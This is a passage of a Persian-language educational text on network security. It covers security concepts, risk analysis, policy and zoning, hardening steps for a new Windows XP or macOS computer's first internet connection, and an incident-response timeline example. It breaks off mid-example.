
 

 

١

١

  مقدمه :

  دو تا سه دهه قبل شبكه هاي كامپيوتر ي معمولا در دو محيط وجود خارجي داشت :

محيط هاي نظامي كه طبق آئين نامه هاي حفاظتي ويژه به صورت فيزيكي حراست ميشد و چون  •

سايتها و تجهيزات شبكه نيز در محيط خفاظت شده نظامي مستقر بود و هـيچ ارتبـاط مسـتقيم بـا     

داشتند لذا دغدغه كمتري براي خفظ اسرار و اطلاعات وجود داشت . نمونه بـارز  دنياي خارج ن

 در وزارت دفاع آمريكا بود  APARNETاين شبكه 

محيطهاي علمي و دانشگاهي كه بـراي مبادلـه دسـتاوردهاي تحقيقـي و دستذسـي بـه اطلاعـات         •

اتي مبادله مي شد كه علمي از شبكه استفاده مي كردند ومعمولا بر روي چنين شبكه هايي اطلاع

 آشكار شدن آنها لطمه چنداني به كسي وارد نمي كرد 

با گسترش روز افزون شبكه هاي بهم پيوسـته و ازيـاد حجـم اطلاعـات مـورد مبادلـه و متكـي شـدن         

چـالش بزرگـي   قسمت زيادي از امور روز مره به شبكه هاي كامپيوتري و ايجاد شبكه هـاي جهـاني   

د آمده است امروزه سرقت دانشي كه براي آن وقت و هزينه صرف شده براي صاحبان اطلاعات پدي

  شبكه هاي كامپيوتري به شمار مي آيد.يكي از خطرات بالقوه 

در جهان امروز با محول شدن امور اداري و مالي به شبكه هـاي كـامپيوتري زنـگ خطـر بـراي تمـام       

ي و راهزني معمولاً توسط افـراد  مردم به صدا در آمده است و بر خلاف گذشته كه خطراتي نيز دزد

كم سواد و ولگرد متوجه مردم بود امروزه ايـن خطـر توسـط افـرادي تحميـل ميشـود كـه بـاهوش و         

باسواند و قدرت نفوذ و ضربه به شبكه را دارند معمولا هدف افرادي كه بـه شـبكه هـاي كـامپيوتري     

  نفوذ يا حمله ميكنند يكي از موارد زير است:

 گيري ضريب توانايي فردي يا كنجكاوي (معمولا دانشچويان)تفريخ يا اندازه  .1

 دزدين دانشي كه براي تهيه آن بايستي صرف هزينه كرد (راهزنان دانش) .2

 انتقام جوئي و.ضربه زدن به رقيب  .3

 آزار رساني و كسب شهرت از طريق مردم آزاري .4

 جاسوسي و كسب اطلاعت از وضعيت نظامي و سياسي يك كشور يا منطقه .5
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 كردن مستقيم پول واعتبار از حسابهاي بانكي و دزديدن شماره كارتهاي اعتبارجابجا  .6

 رقابت ناسالم در عرصه تجارت و اقتصاد .7

 بدست آوردن نرم افزار نرم افزار يا داده هاي كه تهيه آنها منوط به صرف هزينه است .8

 كسب اخبار جهت اعمال خرابكاري و موذيانه .9

دار سياسي و اقتصادي به طرز پيچيده اي به امنيت اطلاعات گره خورده به هر حال امروزه امنيت ملي و اقت

براي ختم مقدمه از شما سوال ميكنيم كه چه حالي و نه تنها دولتها بلكه تك تك افراد را نيز تهديد ميكند 

به شما دست ميدهد وقتي متوجه شديد كه شماره حساب بانكي يا كارت اعتباريتـان توسـط فـرد ناشـناس     

ه و انبوهي هزينه روي دست شما گذاشته است ؟ پس به عنوان يك فرد مطلع از خطراتي كه يك فاش شد

  شبكه كامپيوتري را تهديد ميكند اين پروژه را دنبال كنيد.
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 مفاهيم امنيت شبكه

پردازه اي است كه طي آن يك شبكه در مقابل انواع مختلـف   Network Securityامنيت شبكه يا  

  يدات داخلي و خارجي امن مي شود. مراحل ذيل براي ايجاد امنيت پيشنهاد و تاييد شده اند:تهد

  شناسايي بخشي كه بايد تحت محافظت قرار گيرد.     -1

  مواردي كه بايد در مقابل آنها از بخش مورد نظر محافظت كرد.  تصميم گيري درباره     -2

  تصميم گيري درباره چگونگي تهديدات     -3

پياده سازي امكاناتي كه بتوانند از دارايي هاي شما به شيوه اي محافظت كنند كه از نظر هزينه بـه    -4

  صرفه باشد.

  مرور مجدد و مداوم پردازه و تقويت آن درصورت ياقتن نقطه ضعف     -5

   
  مفاهيم امنيت شبكه -1 

  هيم در امنيت شبكه مي پردازيم.براي درك بهتر مباحث مطرح شده در اين بخش ابتدا به طرح بعضي مفا

   
  منابع شبكه1-1

در يك شبكه مدرن منابع بسياري جهت محافظت وجود دارند. ليست ذيل مجموعه اي از منـابع شـبكه را   

  معرفي مي كند كه بايد در مقابل انواع حمله ها مورد حفاظت قرار گيرند.

  تجهيزات شبكه مانند روترها، سوئيچ ها و فايروالها     -1

اطلاعات عمليات شبكه مانند جداول مسيريابي و پيكربندي ليسـت دسترسـي كـه بـر روي روتـر        -2

  ذخيره شده اند.

  منابع نامحسوس شبكه مانند عرض باند و سرعت     -3

  اطلاعات و منابع اطلاعاتي متصل به شبكه مانند پايگاه هاي داده و سرورهاي اطلاعاتي     -4

  اي استفاد هاز منابع مختلف به شبكه متصل مي شوند.ترمينالهايي كه بر     -5

  اطلاعات در حال تبادل بر روي شبكه در هر لحظه از زمان     -6
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خصوصــي نگهداشــتن عمليــات كــاربرن و اســتفاده آنهــا از منــابع شــبكه جهــت جلــوگيري از      -7

  شناسايي كاربران.

  .مجموعه فوق به عنوان دارايي هاي يك شبكه قلمداد مي شود

   
  حمله 1-2

حال به تعريف حمله مي پردازيم تا بدانيم كه از شبكه در مقابل چـه چيـزي بايـد محافظـت كنـيم. حملـه       

تلاشي خطرناك يا غير خطرناك است تا يك منبع قابل دسترسي از طريق شبكه ، به گونه اي مورد تغييـر  

ست حملات شبكه را به سه دسته عمومي يا استفاده قرار گيرد كه مورد نظر نبوده است.براي فهم بهتر بد ني

  تقسيم كنيم:

  دسترسي غيرمجاز به منابع و اطلاعات از طريق شبكه     -1

  دستكاري غيرمجاز اطلاعات بر روي يك شبكه     -2

 Denial of Serviceحملاتي كه منجر به اختلال در ارائه سرويس مي شوند و اصـطلاحا       -3

  نام دارند.

دسته اول انجام اعمال به صورت غيرمجاز است. تعريف يك عمل مجاز يـا غيرمجـاز    كلمه كليدي در دو

به عهده سياست امنيتي شبكه است، اما به عبارت كلي مي توان دسترسـي غيرمجـاز را تـلاش يـك كـاربر      

جهت ديدن يا تغيير اطلاعاتي كه براي وي در نظر گرفته نشده است، تعريف نمـود اطلاعـات روي يـك    

شامل اطلاعات موجود بر روي رايانه هاي متصل به شبكه ماننـد سـرورهاي پايگـاه داده و وب ،    شبكه نيز 

اطلاعات در حال تبادل بر روي شبكه و اطلاعات مختص اجزاء شبكه جهت انجـام كارهـا ماننـد جـداول     

كانيزمهـاي  مسيريابي روتر است. منابع شبكه را نيز مي توان تجهيزات انتهـايي ماننـد روتـر و فـايروال يـا م     

  اتصال و ارتباط دانست.

هدف از ايجاد امنيت شبكه ، حفاظت از شبكه در مقابل حملات فوق است، لذا مي توان اهداف را نيز در 

  سه دسته ارائه كرد:

  ثابت كردن محرمانگي داده     -1
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  نگهداري جامعيت داده     -2

  نگهداري در دسترس بودن داده     -3

   
  حليل خطر  1-3

تعيين دارايي هاي شبكه و عوامل تهديدكننده آنهـا ، بايـد خطـرات مختلـف را ارزيـابي كـرد. در        پس از

بهترين حالت بايد بتوان از شبكه در مقابل تمامي انواع خطا محافظت كرد، اما امنيت ارزان به دسـت نمـي   

آنها را تشخيص دهيم و از  آيد. بنابراين بايد ارزيابي مناسبي را بر روي انواع خطرات انجام داد تا مهمترين

طرف ديگر منابعي كه بايد در مقابل اين خطرات محافظت شوند نيز شناسايي شوند. دو فـاكتور اصـلي در   

  تحليل خطر عبارتند از :

  احتمال انجام حمله      -1

  خسارت وارده به شبكه درصورت انجام حمله موفق     -2

   
  سياست امنيتي 1-4

ياست امنيتي شبكه را به گونـه اي تعريـف كـرد كـه احتمـال خطـرات و ميـزان        پس از تحليل خطر بايد س

خسارت را به حداقل برساند. سياست امنيتي بايد عمومي و در حوزه ديد كلي باشد و به جزئيات نپـردازد.  

جزئيات مي توانند طي مدت كوتاهي تغيير پيدا كنند اما اصول كلي امنيت يك شبكه كه سياست هاي آن 

  ل مي دهند ثابت باقي مي مانند.در واقع سياست امنيتي سه نقش اصلي را به عهده دارد: را تشكي

  چه و چرا بايد محافظت شود.     -1

  چه كسي بايد مسئوليت حفاظت را به عهده بگيرد.     -2

  زمينه اي را بوجود آورد كه هرگونه تضاد احتمالي را حل و فصل كند.     -3

  توان به طور كلي به دو دسته تقسيم كرد:سياستهاي امنيتي را مي 

  ) : هر آنچه بطور مشخص ممنوع نشده است ، مجاز است.Permissiveمجاز (     -1

  ) : هر آنچه بطور مشخص مجاز نشده است ، ممنوع است.Restrictiveمحدود كننده (     -2
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سـت چـون سياسـتهاي مجـاز داراي     معمولا ايده استفاده از سياستهاي امنيتي محدودكننده بهتر و مناسـبتر ا 

مشكلات امنيتي هستند و نمي توان تمامي موارد غيرمجاز را برشمرد. المانهاي دخيل در سياست امنيتي در 

RFC 2196 .ليست و ارائه شده اند  

   
  طرح امنيت شبكه 1-5

تشـكيل   با تعريف سياست امنيتي به پياده سازي آن در قالب يك طرح امنيت شـبكه مـي رسـيم. المانهـاي    

  دهنده يك طرح امنيت شبكه عبارتند از :

  SSHويژگيهاي امنيتي هر دستگاه مانند كلمه عبور مديريتي و يا بكارگيري      -1

  فايروالها     -2

  براي دسترسي از دور VPNمجتمع كننده هاي      -3

  تشخيص نفوذ     -4

) AAA  )Authentication، Authorization and Accountingسرورهاي امنيتي   -5

  براي شبكه AAAو ساير خدمات 

  مكانيزمهاي كنترل دسترسي و محدودكننده دسترسي براي دستگاههاي مختلف شبكه      -6

   
  نواحي امنيتي 6 -1

تعريف نواحي امنيتي نقش مهمي را در ايجاد يك شبكه امن ايفا مي كند. در واقع يكـي از بهتـرين شـيوه    

شبكه ، طراحي امنيت شبكه به صورت منطقه اي و مبتني بر توپولوژي است و هاي دفاع در مقابل حملات 

يكي از مهمترين ايده هاي مورد استفاده در شـبكه هـاي امـن مـدرن ، تعريـف نـواحي و تفكيـك منـاطق         

مختلف شبكه از يكديگر است. تجهيزاتي كه در هر ناحيه قرار مي گيرند نيازهاي متفاوتي دارند و لذا هر 

اظت را بسته به نيازهاي امنيتي تجهيزات نصب شده در آن ، تامين مي كند. همچنين منطقه بنـدي  ناحيه حف

  مي شود. يك شبكه باعث ايجاد ثبات بيشتر در آن شبكه نيز

  نواحي امنيتي بنابر استراتژي هاي اصلي ذيل تعريف مي شوند.
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ه خصوصي) در امـن تـرين منطقـه    تجهيزات و دستگاههايي كه بيشترين نياز امنيتي را دارند (شبك  -1

قرار مي گيرند. معمولا اجازه دسترسي عمومي يا از شبكه هاي ديگر به اين منطقه داده نمي شود. 

) SRAدسترسي با كمك يك فايروال و يا سـاير امكانـات امنيتـي ماننـد دسترسـي از دور امـن (      

ودن در اين منطقه به شـدت  كنترل مي شود. كنترل شناسايي و احراز هويت و مجاز يا غير مجاز ب

  انجام مي شود.

سرورهايي كه فقط بايد از سوي كاربران داخلي در دسترس باشند در منطقه اي امن ، خصوصـي    -2

و مجزا قرار مي گيرند. كنترل دسترسي به ايـن تجهيـزات بـا كمـك فـايروال انجـام مـي شـود و         

  دسترسي ها كاملا نظارت و ثبت مي شوند.

بايد از شبكه عمومي مورد دسترسي قرار گيرند در منطقه اي جدا و بـدون امكـان   سرورهايي كه   -3

دسترسي به مناطق امن تر شبكه قرار مي گيرنـد. درصـورت امكـان بهتـر اسـت هـر يـك از ايـن         

سرورها را در منطقه اي مجزا قرار داد تا درصورت مورد حمله قرار گرفتن يكي ، سايرين مـورد  

  مي گويند.  Demilitarized Zoneيا  DMZاين مناطق تهديد قرار نگيرند. به 

استفاده از فايروالهـا بـه شـكل لايـه اي و بـه كـارگيري فايروالهـاي مختلـف سـبب مـي شـود تـا               -4

درصورت وجود يك اشكال امنيتي در يك فايروال ، كل شبكه به مخاطره نيفتد و امكان استفاده 

  نيز كم شود. Backdoorاز 
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 اتصال يك كامپيوتر به اينترنتولين ا -2

   
چندين راهنمايي براي اتصال يك كامپيوتر جديد (يـا ارتقـاء يافتـه) بـراي اولـين بـار بـه         فصلدر اين 

اينترنت آورده شده است و مخاطبان آن كاربران خانگي، دانشجويان، شركت هاي تجـاري كوچـك، يـا    

گـروه امـداد امنيـت    ريـق خـط تلفـن اسـت. {    ) يـا از ط DSLهر مكاني با اتصال پرسرعت (مودم كـابلي،  

  }كامپيوتري ايران

   
  انگيزه 2-1

است. در مـاه هـاي     ITاين مطلب بدليل ريسك فزاينده براي كاربران اينترنت بدون حمايت مختص 

افظت نشده بوده اسـت. ايـن   جهان شاهد گرايش به سمت سوءاستفاده از كامپيوترهاي جديد يا مح اخير، 

  جريان بدليل بعضي دلايل تشديد مي شود:

  بسياري از پيكربندي هاي پيش فرض كامپيوترها نا امن هستند.

كاف هاي امنيتي تازه اي ممكن است در مدت زمان ساخت و پيكربندي كامپيوتر توسـط سـازنده و   ش

  تنظيم كامپيوتر براي اولين بار توسط كاربر، كشف شده باشد.

) شـكافهاي امنيتـي   DVD-ROMو  CD-ROMهنگام ارتقا نرم افزار از طريق ابـزار مرسـوم (ماننـد    

  جديد ممكن است از زمان ساخت ديسك تا كنون كشف شده باشد.

را مي دانند و بطورمنظم پيمايش  dial-upخطوط پرسرعت و  IPحمله كنندگان دامنه آدرس هاي  

  مي كنند.

بل در حال چرخيدن در اينترنت هستند و بطور پيوسته كامپيوترهاي جديـد  تعداد زيادي از كرمها از ق 

  را بمنظور سوءاستفاده پيمايش مي كنند.

   
جالب است كه زمان ميانگين براي حمله به كامپيوترها در بعضي شبكه ها براي كامپيوترهاي محافظت 

حـدوده آدرس هـاي اسـتفاده    مخصوصاً اين موضوع بـراي م  نشده بر حسب دقيقه اندازه گيري مي شود، 

  صحت دارد. dial-upو  DSLشده توسط مودم هاي كابلي، 
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  توصيه ها ٢-٢

بـه سيسـتم    ادامه اين مطلب به دو بخش اختصاص دارد، اول راهنمايي عمومي و بعد گام هاي مخـتص 

  هاي عامل مشخص.

   
  راهنمايي عمومي

هدف اين مطلب فراهم آوردن حفاظت كافي براي يك كامپيوتر جديد است تا يك كاربر بتواند هـر  

، منتشر شـده اسـت،   CDوصله نرم افزاري را كه از زمان ساخت كامپيوتر يا نصب نرم افزار اوليه از طريق 

راحل راهنمايي كاملي براي نگه داري امن يك كامپيوتر از زمان دانلود و نصب كند. توجه كنيد كه اين م

  بلكه قدم هاي اوليه و اساسي هستند.  دانلود اوليه و نصب وصله ها نيستند، 

  تذكر:

o            توصيه مي شود كه اين مراحل را هنگام ارتقـاء بـه سيسـتم عامـل جديـد و همچنـين اولـين اتصـال يـك

  يد.كامپيوتر جديد به اينترنت انجام ده

o  .اين مراحل را قبل از اولين اتصال به اينترنت انجام دهيد  

  اينها مراحلي هستند كه توصيه مي شوند:
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اگر ممكن است، كامپيوتر جديد را از طريق يك فايروال شبكه يا روترــ فـايروال بـه اينترنـت متصـل       -1

  كنيد.

و  LANوانند بين كامپيوترها روي فايروال شبكه يا روترـ فايروال سخت افزاري است كه كاربران مي ت

) نصـب كننـد. بـا مسـدود كـردن دسترسـي بـه        DSLوسيله پرسرعت اتصال به اينترنـت (مـودم كـابلي يـا     

كامپيوترهاي شبكه داخلي از طريق اينترنت (البته هنوز اجازه دسترسي بـراي ايـن كامپيوترهـا بـه اينترنـت      

د حفاظت كافي را براي يك كاربر براي دانلـود و  وجود دارد)، يك فايروال سخت افزاري اغلب مي توان

نصب وصله هاي نرم افزاري لازم فراهم آورد. فايروال سخت افـزاري درجـه بـالايي از حفاظـت را بـراي      

  كامپيوترهاي تازه اي كه به اينترنت متصل مي شوند، ايجاد مي كند. 

دهد، به اينترنت متصل مي كنيد و را انجام مي  NATچنانچه كامپيوتري را از طريق فايروالي كه عمل 

يكي از شرايط ذيل برقرار است (الف) ماشين جديد تنها كامپيوتري است كه از طريق فايروال به اينترنـت  

متصل مي شود يا (ب) تمام ماشينهاي ديگر متصل به اينترنت از طريق فايروال، بروز شده باشند و آلوده به 

ديگر نباشند، در اينصورت شما ممكن است نياز به فعـال كـردن    ويروسها، كرمها، يا كدهاي آسيب رسان

  فايروال نرم افزاري نباشيد.

   
  اگر دسترسي داريد، فايروال نرم افزاري موجود در كامپيوتر را فعال كنيد. -2

اگر سيستم عامل شما شامل يك فايروال نرم افزاري است، توصيه مي شود كه بمنظور مسـدود كـردن   

  ر كامپيوترهاي موجود در اينترنت آن را فعال كنيد.اتصالات از ساي

است كه يـك فـايروال    LANچنانچه در بالا گفته شد، اگه كامپيوتر شما در حال متصل شدن به يك 

سخت افزاري دارد و بقيه كامپيوترها روي اين شبكه كاملاً محافظت شـده و بـدون كـدهاي زيـان رسـان      

، توصيه مي شود كه »دفاع در عمق«ل، به عنوان بخشي از استراتژي باشند، اين مرحله اختياري است. بهرحا

  فايروال نرم افزاري موجود در سيستم عامل فعال شود.

اگه سيستم عامل شما فاقد فايروال نرم افزاري است، ممكن است كه بخواهيد برنامـه فـايروال شـخص    

ايگان وجود دارند. بهرحال، با توجه به ايـن  ثالثي را نصب كنيد. بسياري از چنين برنامه هايي بطور تقريباً ر
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، همان زمان كوتاه اتصال كامپيوتر محافظت نشـده بـه اينترنـت اسـت،     بخشمسأله كه مورد نظر ما در اين 

قبـل از اتصـال بـه     Floppyيـا   CD ،DVDتوصيه مي شود كه هر برنامه فايروال ثـالثي از ابـزاري ماننـد    

برروي كامپيوتر محافظـت نشـده دانلـود گـردد. در غيـر اينصـورت،        اينترنت نصب گردد تا اينكه مستقيماً

ممكن است كه اين كامپيوتر قبل از كامل شدن دانلود و نصب نرم افزار مطلـوب مـورد سوءاسـتفاده قـرار     

  گيرد.

   

   
   
   

  سرويس هاي غيرضروري را مانند اشتراك فايل و پرينتر غيرفعال كنيد. -3

بيشتر سيستم عامل ها بصورت پيش فرض اشتراك فايل و پرينتر را فعال نمي كنند، بنابراين نبايد مسأله 

اي براي كاربران باشد. بهرحال، اگر كامپيوتر خود را به سيستم عامل جديد ارتقـاء مـي دهيـد و اشـتراك     

از آنجـا كـه سيسـتم      آن فعال است، امكان دارد كه در سيستم عامل جديد نيز اين گزينه فعال باشد. فايل

عامل جديد ممكن است شكاف هاي امنيتي داشته باشد كه در نسخه قديمي تر نبودنـد، اشـتراك فايـل را    

ء و نصب تمام وصـله  در نسخه قبلي قبل از ارتقاء سيستم عامل غيرفعال كنيد. بعد از كامل شدن عمل ارتقا

  هاي مربوطه، اشتراك فايل در صورت نياز مي تواند مجدداً فعال شود.
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  وصله هاي نرم افزاري را در صورت نياز دانلود و نصب كنيد. -4

زماني كه كامپيوتر از حمله قريب الوقوع از طريق استفاده از فايروال سخت افزاري ويـا نـرم افـزاري و    

يل و پرينتر محافظت شده است، بايد تقريباً اتصال به اينترنـت بمنظـور دانلـود و    غيرفعال كردن اشتراك فا

نصب وصله هاي نرم افزاري لازم امن باشد. مهم است كه اين گام حتماً انجام گيرد چون درغيراينصورت 

د يـا  فـايروال غيرفعـال شـو     كامپيوتر مي تواند در معرض سوءاستفاده قرار گيرد اگر بعداً در زمان ديگري

  اشتراك فايل فعال شود.

وصله هاي نرم افزاري را از سايت هاي قابل اعتماد و شناخته شده (مانند سايتهاي خود فروشندگان نرم 

افزار)، دانلود كنيد تا امكان اينكه يك مزاحم از طريـق اسـتفاده از يـك اسـب تـروا كنتـرل را در اختيـار        

  گيرد، به حداقل برسد.

 مـاي كلـي از نظـر امنيـت بـراي نصـب كامپيوترهـاي جديـد ارائـه گرديـد.          راهندر مطالب ذكر شده 

بهرحال، عمل به بعضي از آن توصيه ها بستگي به سيستم عامل مورد استفاده دارد. اين بخش مشخصاً بـه   

  و چند اشاره به ساير سيستم عاملها دارد. Apple Macintosh OSXو  XPسيستم هاي عامل ويندوز 

  XPويندوز  2-3
  ظور انجام اين مراحل، شما نياز داريد كه به يك اكانت با اختيارات مدير محلي وارد شويد. بمن

  . در صورت امكان، از طريق يك فايروال سخت افزاري متصل شويد.الف

  (به اين مرحله در شماره قبل اشاره شده است.)

  را فعال كنيد.  XPموجود در  Internet Connection Firewall. ب

  ارائه كرده است.) را  دستورهاي فعال كردن اين فايروالافت (مايكروس

  . اشتراكها را اگر فعال هستند، غيرفعال كنيد.پ

  برويد. Control Panelبه  -1

2- “Network and Internet Connections”  باز كنيد.را  

3- “Network Connections” .را باز كنيد  

  كه مي خواهيد تغيير ايجاد كنيد كليك راست كنيد. Connectionروي  -4
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5- “Properties” .را انتخاب كنيد  

  ”File and Printer Sharing for Microsoft Networking“مطمئن شـويد كـه    -6

  انتخاب نشده است.

  . به شبكه متصل شويد.ث

  برويد.  http://windowsupdate.microsoft.comبه آدرس . ج

  . دستورهاي موجود در آنجا را براي نصب تمام بروز رسانيهاي مهم دنبال كنيد.چ

  را در زير مرور كنيد.» امن ماندن« . ح

   

   
   

2-4 Apple Macintosh OSX  

  .در صورت امكان، از طريق يك فايروال سخت افزاري متصل شويد. الف

  . فايروال نرم افزاري را فعال كنيد.ب

1- “System Preferences” .را باز كنيد  

2- “Sharing” .را انتخاب كنيد  

  را انتخاب كنيد. ”Firewall“نوار  -3
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  كليك كنيد. ”Start“روي  -4

  را انتخاب كنيد. ”Services“نوار  -5

  بررسي كنيد كه هيچكدام از سرويس ها انتخاب نشده باشند. -6

  . به اينترنت متصل شويد.ت

  . نرم افزار نصب شده را به روز كنيد.ث

1- “System Preferences” .را باز كنيد  

2- “Software Updates” .را انتخاب كنيد  

 Automatically check for updates when you have a  “ بـا انتخـاب   -3

network connection  “ .به روزرساني خودكار را فعال كنيد  

  زمان بروزرساني مناسبي انتخاب كنيد ( بصورت روزانه توصيه مي شود) -4

  كليك كنيد. ”Check Now“روي  -5

  توصيه شده را نصب كنيد.تمام به روزرسانيهاي  -6

  را در زير مرور كنيد.» امن ماندن. «ج
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  ساير سيستم عامل ها 5 -2

  امن ماندن

  ي را مطالعه كنيد.. مطالب مربوط به امنيت شبكه هاي خانگي و امنيت كامپيوترهاي خانگلفا

  . نرم افزار آنتي ويروس نصب و استفاده كنيد.ب

در حاليكه يك بسته نرم افزاري آنتي ويروس به روز شده، نمي توانـد در برابـر تمـام كـدهاي آسـيب      

رسان از يك سيستم محافظت كند، براي بيشتر كاربران بهترين وسيله دفاعي در خط مقدم عليـه حمـلات   

  ت. بسياري بسته هاي آنتي ويروس از بروزرسانيها پشتيباني مي كنند. كدهاي آسيب رسان اس

  . اگر امكان دارد بروز رسانيهاي خودكار نرم افزار را فعال كنيد.پ

فروشندگان معمولاً هنگامي كه يك شكاف امنيتي كشف مي گردد، بسته هاي آن را ارائه مـي دهنـد.   

وزها و وصله ها ارائه مي دهنـد. بايـد بتوانيـد بـه روز     بيشتر مستندات محصولات روشي براي دريافت به ر

  رسانيها را از سايت فروشنده دريافت كنيد. 

بعضي برنامه ها بصورت خودكار وجود بروزرسـانيها را بررسـي مـي كننـد، و بسـياري فروشـندگان از       

ر خود را طريق ليست ايميل بصورت خودكار وجود بروزرساني ها را اطلاع مي دهند. وب سايت مورد نظ

براي اطلاعات در مورد اين نحوه آگاهي نگاه كنيد. اگر هيچ ليست ايميل يا مكانيسم ديگر آگـاه سـازي   

بصورت خودكار ارائه نمي شود، نياز است كه وب سايت فروشنده در فواصل زمـاني معـين بـراي وجـود     

  بروزرساني ها سرزده شود.

   
  . از رفتار ناامن خودداري كنيد.ت

ازكردن پيوست هاي ايميل يا هنگام استفاده از اشتراك نقطه به نقطه، پيام رساني فوري يا اتـاق  هنگام ب   ·

  هاي گفتگو، احتياط كنيد.

  اشتراك فايل را روي واسط هاي شبكه كه به طور مستقيم در معرض اينترنت هستند، فعال نكنيد.    ·

  . اصول كمترين حقوق دسترسي را دنبال كنيد.ث
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بـراي كارهـاي   » ريشـه «يـا سـطح   » مـدير «بجاي حقـوق  » كاربر«ز يك اكانت با تنها حقوق به استفاده ا

روزانه توجه كنيد. بسته به سيستم عامل، شما تنها نياز به استفاده از سطح دسترسي مـدير بـراي نصـب نـرم     

كافهاي امنيتـي  افزار جديد، تغيير پيكربندي سيستم و مانند اينها داريد. حتي بسياري از سوءاستفاده ها از ش

(مانند ويروس ها و اسب هاي تروا) در سطح دسترسي كاربر اجرا مي شود، بنابراين بسـيار خطرنـاكتر مـي    

  شود كه همواره بعنوان مدير وارد سيستم شد.

  

  )Incident Handlingرويدادهاي امنيتي و اقدامات لازم در برخورد با آنها ( -3

مواجه شـده   Incident Handlingبا عبارت  مقوله هاي مرتبط با امنيت كامپيوتر و شبكهحتماً در 

را چيست. هر سازمان بايد رويداد امنيتـي   Security Incident( ( ايد. ابتدا ببينيم يك رويداد امنيتي

  اين دست هستند:براي تشكيلاتش كند. تعاريف زير نمونه هايي از 

هر رويداد مضر مشخص يا مشكوكي كه به امنيت سيستم ها يا شبكه هاي كامپيوتري مربوط باشـد.ياعمل  

  نقض كردن آشكار يا ضمني سياست امنيتي.

  هستند: يك رويداد امنيتي فعاليت هايي زير مثال هايي از 

  مجاز به يك سيستم يا ديتاي آنتلاشهايي (چه موفق و چه ناموفق) براي حصول دسترسي غير         ·

  ازكار افتادن ناخواسته يا عدم پذيرش سرويس         ·

  استفاده غيرمجاز از يك سيستم به هدف پردازش يا ذخيره سازي ديتا         ·

  تغييراتي در مشخصات سخت افزار يا نرم افزار بدون آگاهي يا اجازه يا دخالت صاحب آن.         ·

ميزبان كه بالقوه امنيت كامپيوتر را تهديد مي كند نيز مي تواند بعنـوان رويـداد امنيتـي    فعاليت شبكه يا 

  كامپيوتري تعريف گردد.
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  برخورد با رويداد 3-1

منظور از اين عبارت نحوه مقابله و اقداماتي است كه در هنگام وقوع يك مسأله امنيتي انجام مـي گيـرد.    

  . گزارش رويداد، تحليل رويداد و واكنش به رويداد.شوديم مي در حقيقت اين اقدامات به سه بخش تقس

اهميت واكنش به رويدادهاي امنيتي سيستم ها، كمتر از تشخيص آنها نيست. اقداماتي كه شـما بـدنبال   

تشخيص يك رويداد انجام مي دهيد، نه تنها عمليات سازمان را تحت تأثير قـرار مـي دهـد، بلكـه ممكـن      

اري در آينـده چنـين رونـدهايي و وضـعيت امنيتـي خودتـان گـردد. برخـورد بـا          است باعث تغييرات بسـي 

رويدادهاي امنيتي نه از ديدگاه تكنيكي بلكه از ديدگاه عواملي مانند عوامـل انسـاني، سياسـت برخـورد و     

برخورد يك سازمان به يـك رويـداد امنيتـي آشـنا      زمان پرداخته مي شود. براي اينكه بتوان بيشتر با نحوه 

  ، به مثالي در اين باره مي پردازيم.شد

   

  مثالي از واكنش به يك رويداد در يك سازمان بزرگ

  اين مثال فقط براي نشان دادن تلاش هاي ممكن براي واكنش ارائه شده است و يك مدل كلي نيست.

ف ساعته مراقبت از شبكه كش ـ 24بامداد، پرسنل  2هنگام مشاهده ثبت وقايع مربوط به نفوذ در ساعت 

  مي كنند كه حمله اي با موفقيت انجام شده است. 

براي بسياري از سازمان ها، واكنش فوري، قطع شبكه براي تأخير يا قطع افشاي اطلاعات بيشتر خواهد 

بود، اما ما سعي داريم كه از چنين واكنشي پرهيز كنـيم و پرسـنل بخـش مراقبـت نيـز از ايـن قضـيه مطلـع         

را كه در اختيار دارند براي برخورد با اين نـوع رويـداد بـه اجـرا مـي      هستند. درعوض، چك ليست هايي 

  گذارند. 

قدم اول خبركردن و ارائه گزارشي مختصر به رئيس بخش امنيت سيستمها (يـا نماينـده اش) اسـت. تـا     

  اين فرد از خواب بيدار گردد و از حمله مطلع گردد، چهار دقيقه از اطلاع دهي اوليه سپري شده است. 
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كامـل سيسـتم را نمـي پـذيرد، امـا اجـازه        shutdownطلاعاتي كه موجود است، نماينده امنيـت  با ا

فراخواني يك گروه امداد را مي دهد. در حاليكه نماينده بخش امنيت به سمت محـل حركـت مـي كنـد،     

پرسنل بخش مراقبت شروع به ايـن فراخـواني مـي كنـد. نماينـدگاني از بخشـهايي چـون عمليـات شـبكه،          

ي، مهندسي، اجرايي و مديريت آگاه شده اند و به محل فراخوانده شده اند. مجري قـانون محلـي نيـز    قانون

  خبر شده است و ثبت رويدادها به ترتيب وقوع آغاز مي شود.

  دقيقه گذشته است. 28حالا از اخطار اوليه 

شخص تنظيم و  نماينده بخش امنيت كه اولين فرد باخبر شده است، اولين كسي است كه مي رسد. اين

آماده سازي مركز امداد را آغاز مي كند. كيف امداد باز است كه در آن يـك لـپ تـاپ، بـاتري اضـافه،      

لامپ، ابزار، چك ليست ها و صفحات يادداشت براي تمام اعضاي تـيم امـداد، و ابـزار گونـاگون ديگـر      

و مديريت ارشد آن آماده شده وجود دارد. كپي هايي از اطلاعات موجود نيز براي توزيع بين اعضاي تيم 

  دقيقه از زمان اخطار اوليه گذشته است. 57است. 
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صورت پراكنده در طول اين زمان وارد شده انـد و پرسـنل بخـش مراقبـت نيـز      ه ب ساير اعضاي گروه 

قيق بيشتري در مورد نفوذ انجام داده است. بررسي اوليه آشكار مي كنـد كـه نفـوذگر بـه سيسـتم يـك       تح

كاربر وارد شده است، اما هنوز به نقاط ديگر شبكه پيشروي نكـرده اسـت. حملـه از طريـق اسـتفاده يـك       

ت قبل از كه مورد تأييد نبوده صورت گرفته است. نفوذ واقعي هشت ساع dial-upكاربر از يك اتصال 

  كشف اوليه صورت گرفته است.

دقيقه بعد از اولين اخطار گرد هم مي آينـد. تمـام اعضـاء بـا سـرعت در محـل حاضـر و         92كل گروه 

شروع به فكر كردن و نقشه كشيدن و ارائه راه حل شده اند. مناظرات بـه موافقـت هـايي منجـر مـي شـود.       

تعيين و تشخيص آغاز خواهد شد. خلاصه اي بـراي  سيستم مورد نفوذ از شبكه جدا خواهد شد و عمليات 

  دقيقه گذشته است. 108مدير ارشد تهيه و مراحل اوليه كامل مي شوند. 

نماينده عمليات شبكه، مسؤول قطع كردن سيستم مذكور مي شود. نماينده اجرايي ثبت وقـايع را روي  

ه از تمـام رويـدادها، بعنـوان نقطـه     لپ تاپ به روز و بررسي مجدد مي كند. اين فرد با ثبت لحظه بـه لحظ ـ 

